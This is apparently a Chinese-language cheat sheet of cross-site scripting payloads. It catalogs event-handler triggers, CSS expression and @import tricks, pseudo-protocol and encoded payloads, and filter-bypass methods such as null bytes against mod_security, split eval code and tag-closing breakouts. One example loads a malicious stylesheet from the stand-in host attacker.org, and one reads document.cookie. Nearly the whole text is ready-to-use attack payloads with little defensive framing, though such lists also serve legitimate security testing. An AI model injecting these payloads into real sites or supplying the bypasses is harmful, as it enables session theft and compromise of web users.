[toc]
触发事件XSS语句的总结
1、onmouseenter:当鼠标进入选区执行代码
1
| <div style="background-color:red" onmouseenter="alert(/XSS/)">123456</div>
|
2、onmouseleave:当鼠标离开选区执行代码
1
| <DIV onmouseleave="alert(/XSS/)" style="BACKGROUND-COLOR: red">123456</DIV>
|
3、onmousewheel:当鼠标在选区滚轮时执行代码
1
| <DIV onmousewheel="alert(/XSS/)" style="BACKGROUND-COLOR: red">123456</DIV>
|
FireFox浏览器使用DOMMouseScroll事件,其他(包括IE6)都是使用onmousewheel事件; 4、onscroll:拖动滚动条执行代码
1 2 3 4 5 6 7
| <div style="width:100px;height:100px;overflow:scroll" onscroll="alert(/XSS/)">123456 <br/> <br/> <br/> <br/> <br/> </div>
|
5、onfocusin:当获得焦点时执行代码
1
| <div contentEditable="true" style="background-color:red" onfocusin="alert(/XSS/)" >asdf</div>
|
6、onfocusout:当失去焦点时执行代码
1
| <div contentEditable="true" style="background-color:red" onfocusout="alert(/XSS/)" >asdf</div>
|
7、onstart:当显示内容时执行代码
1
| <marquee style="background-color:red" onstart="alert(/XSS/)" >asdf</marquee>
|
8、onbeforecopy:选中内容后复制执行代码
1 2 3 4
| beforecopy:在发生复制操作前触发 beforecut:在发生剪切操作前触发 beforepaste:在发生粘贴操作前触发 <div style="background-color:red;" onbeforecopy="alert(/XSS/)" >asdf</div>
|
firefox不支持 9、oncontextmenu:鼠标在选区右键执行代码
1
| <div style="background-color:red;" oncontextmenu="alert(/XSS/)" >asdf</div>
|
10、oncopy:复制时执行代码
1
| <div style="background-color:red;" oncopy="alert(/XSS/)" >asdf</div>
|
11、oncut:剪切时执行代码
1
| <div contentEditable="true" style="background-color:red;" oncut="alert(/XSS/)" >asdf</div>
|
12、ondrag、ondragenter、ondragover:选择内容并拖动时执行代码
1
| <div style="background-color:red;" ondrag="alert(/XSS/)" >asdf</div>
|
13、ondragend:选择内容并拖动松开鼠标执行代码
1
| <div style="background-color:red;" ondragend="alert(/XSS/)" >asdf</div>
|
14、ondragleave:选择内容并拖出边框执行代码
1
| <div contentEditable="true" style="background-color:red;" ondragleave="alert(/XSS/)" >asdf</div>
|
15、ondrop:有内容被拖动进来时执行代码
1 2
| <div contentEditable="true" style="" ondrop="alert(/bem/)" >asdf</div> <div contentEditable="true" style="" ondrop="alert(/bem/)" >asdf</div>
|
16、onpaste:黏贴时执行代码
1
| <div contentEditable="true" style="" onpaste="alert(/bem/)" >asdf</div>
|
17、onselectstart:选择内容时执行代码
1
| <div contentEditable="true" style="" onselectstart="alert(/bem/)" >asdf</div>
|
18、onhelp:进入焦点按F1时执行代码
IE 浏览器支持在 CSS 中扩展 JavaScript,这种技术称为动态特性。 CSS行内样式:
1 2 3 4
| <DIV STYLE="width: expression(alert('XSS'));"> <img style="xss:expression(alert(0))"> // Works upto IE7. <div style="color:rgb(''x:expression(alert(1))"></div> // Works upto IE7. <style>#test{x:expression(alert(/XSS/))}</style> // Works upto IE7
|
仅IE支持,由于暴漏出来的种种缺点,微软最终从IE8 beta2(标准模式下)开始放弃对css表达式的支持。
CSS import
1 2 3 4 5 6 7 8 9 10 11 12
| <style> @import url("http://attacker.org/malicious.css"); </style> malicious.css: body { color: expression(alert('XSS')); } 为了绕过对 @import 的过滤,可以在 CSS 中使用反斜杠进行绕过: <style> @imp\ort url("http://attacker.org/malicious.css"); </style> IE 浏览器会接受反斜杠,但是我们绕过了过滤器。
|
伪协议
1 2 3 4
| <iframe src=javascript:prompt(/StoredXssByIframeTag/);></iframe> <object data=data:text/html;base64,PHNjcmlwdD5wcm9tcHQoL1N0b3JlZFhzc0J5T2JqZW N0VGFnLyk7PC9zY3JpcHQ+></object> <object data="javascript:alert(document.domain)">
|
HTML5标签
1 2
| <svg onload=prompt(/XSS/)> <embed src=javascript:alert(/XSS/);>
|
js编码,html编码,十进制编码等
1 2 3
| <embed src=javascript:alert(/XSS/);> <video><source onerror=alert(String.fromCharCode(88,83,83))> (这个函数用于ascii码的还原) <script/src=data:text/j\141v\141script,\u0061%6C%65%72%74(/XSS/)></script>
|
链接标签里可以通过在 URL 中使用 js伪协议来执行 JavaScript:
1 2 3
| <a href="javascript:alert('test')">link</a> <a href="javascript:alert('xss')">link</a> 上面这段代码不匹配正则表达式,但是浏览器依旧会执行它,因为浏览器会首先进行 URL 解码操作。
|
另外,我们还可以使用 VBScript,虽然它在 IE11 中被禁用了,但依旧可以运行在旧版本的 IE或者启用兼容模式的 IE11 上。我们可以使用类似上面 JavaScript 的方式来插入 VBScript 代码:
1
| <a href='vbscript:MsgBox("XSS")'>link</a>
|
使用标签
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <input onfocus=alert(33) autofocus> <script>alert(navigator.userAgent)<script> <script>alert(88199)</script> <script>confirm(88199)</script> <script>prompt(88199)</script> <script>\u0061\u006C\u0065\u0072\u0074(88199)</script> <script>alert(/XSS/)</script> <script>alert(`XSS`)</script> <script>alert("XSS")</script> <script src=data:text/javascript,alert(88199)></script> <script>setTimeout(alert(88199),0)</script> <form><button formaction=javascript:alert(21)>Mformaction 属性覆盖 form 元素的actionHTML 5 <form> action 属性") 属性。 <form onsubmit=alert(23)><button>M <body/onload=alert(25)>
<body onscroll=alert(26)><br><br><br><br><br><br><br> <br><br><br><br><br><br><br><br><br><br><br> <br><br><br><br><br><br><br><br><br><br><br> <br><br><br><br><br><br><br><br><br><br><br> <input autofocus>//input获得焦点实现自动滚动
<iframe/onload=alert(document.domain)></iframe> <IFRAME SRC="javascript:alert(29);"></IFRAME>
|
短payload
圆括号被过滤
1
| <img src=x onerror="javascript:window.onerror=alert;throw 1">
|
编码
JavaScript是很灵活的语言,可以使用十六进制、Unicode、HTML等进行编码,以下属性可以被编码
1 2 3 4 5 6 7 8 9 10 11 12
| (支持HTML, Octal, Decimal,Hexadecimal, and Unicode) href= action= formaction= location= on*= name= background= poster= src= code= data= //只支持base64
|
运算弹窗
1 2 3 4 5 6 7 8
| <script type="text/javascript"> var test = ""-alert(1)-"" </script> =右边是表达式,先要计算表达式的值,再赋值 第一步执行alert(1),弹出对话框 第二步执行空字符串减alert(1)的返回值,也就是0-undefined,结果是NaN 第三步执行NaN减空串,结果是NaN 第四步执行赋值,test的值就是NaN
|
空字节
1 2 3 4 5
| 最长用来绕过mod_security防火墙,形式如下: <scri%00pt>alert(1);</scri%00pt> <scri\x00pt>alert(1);</scri%00pt> <s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t> 空字节只适用于PHP 5.3.8以上的版本
|
语法BUG
RFC声明中节点名称不能是空格,以下的形式在javascript中不能运行
1 2
| <%0ascript>alert(1);</script> <%0bscript>alert(1);</script>
|
<%, <//, <!,<?可以被解析成<,所以可以使用以下的payload
1 2 3
| <// style=x:expression\28write(1)\29> // Works upto IE7 参考http://html5sec.org/#71 // Works upto IE9 参考http://html5sec.org/#115 <%div%20style=xss:expression(prompt(1))> // Works Upto IE7
|
代码拆分执行
1 2 3
| <script>z='javascript:'</script> <script>z=z+'alert(/xxss/)'</script> <script>eval(z)</script> //可绕过字符长度限制
|
chrome浏览器喜欢去补全缺失的引号。如果引号被过滤那么直接省略,chrome将会正确的帮你补全缺失的引号在URL和script中。
1
| <a onmouseover=alert(document.cookie)>xxs link</a>
|
以后这里填坑
闭合script
1 2 3
| <script> var x = "123</script><script>alert(1);//"; </script>
|
闭合优先级高于双引号的标签
1 2 3 4 5 6 7 8 9 10 11 12
| <!-- <iframe> <noframes> <noscript> <script> <style> <title> <xmp>
<noframes> <img src="//t.tt</noframes><script>alert(1)</script>"> </noframes>
|